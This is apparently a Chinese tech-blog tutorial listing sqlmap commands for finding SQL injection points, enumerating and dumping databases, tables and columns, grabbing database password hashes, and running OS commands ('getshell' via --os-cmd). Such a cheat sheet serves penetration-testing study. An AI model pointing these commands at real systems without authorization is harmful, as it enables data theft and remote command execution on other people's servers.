Web工具篇SQLMAP(一)

本文详细介绍了SQLMAP的基本命令,包括如何判断网站是否存在SQL注入点,查询数据库、表名及数据的方法,还涉及了一些不常用但实用的功能。通过对这些内容的学习,读者将对SQLMAP工具有更深入的理解。

SQLMAP基本命令

python sqlmap.py -hh //启动

判断是否存在注入点

python sqlmap.py -u 'URL' //GET请求方式的检测(一个参数)
python sqlmap.py -u "URL" //GET请求方式的检测(多个参数)
python sqlmap.py -u '[URL]' -forms //使用form表单POST请求
python sqlmap.py -u '[URL]' --method POST --data "[参数名=参数值]" //POST请求方式
python sqlmap.py -r upload/1.txt //将HTTP请求包放在upload/1.txt中【可放置各种请求方式】

在这里插入图片描述

查询数据库 / 表名 / 数据

python sqlmap.py -u "[URL]" --dbs //查看所有数据库
python sqlmap.py -u "[URL]" --currentdb // 查看当前数据库
python sqlmap.py -u "[URL]" -D XXX //在xxx数据库中继续查询其他数据
python sqlmap.py -u "[URL]" -D [数据库] --tables //查看某数据库中所包含的表
python sqlmap.py -u "[URL]" -D [数据库] -T XXX //在某数据库xxx表中继续查询其他数据
python sqlmap.py -u "[URL]" -D [数据库] -T [表名] --columns //查看某数据库中某表的属性
python sqlmap.py -u "[URL]" -D [数据库] -T [表名] -C [属性名] --dump //查看某数据库中某表某属性的数据

杂七杂八

python sqlmap.py --version //查看版本
python sqlmap.py -u '[URL]' --passwords //获取数据库用户密码
python sqlmap.py -u '[URL]' --current-user //获取当前用户名称
python sqlmap.py -u '[URL]' --level [1-5] //选择【1-5】测试等级,默认为1
python sqlmap.py -u '[URL]' --risk=[0-3] //选择【0-3】测试风险,默认为1
python sqlmap.py -u '[URL]' --is-dba //查看当前用户是否为管理权限
python sqlmap.py -u '[URL]' --os-cmd="[cmd命令]" //getshell
python sqlmap.py -u "[URL]" --referer "[URL]" -v [3-6] //referer欺骗

总结

还有一些进阶操作需要进一步了解应用一下
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值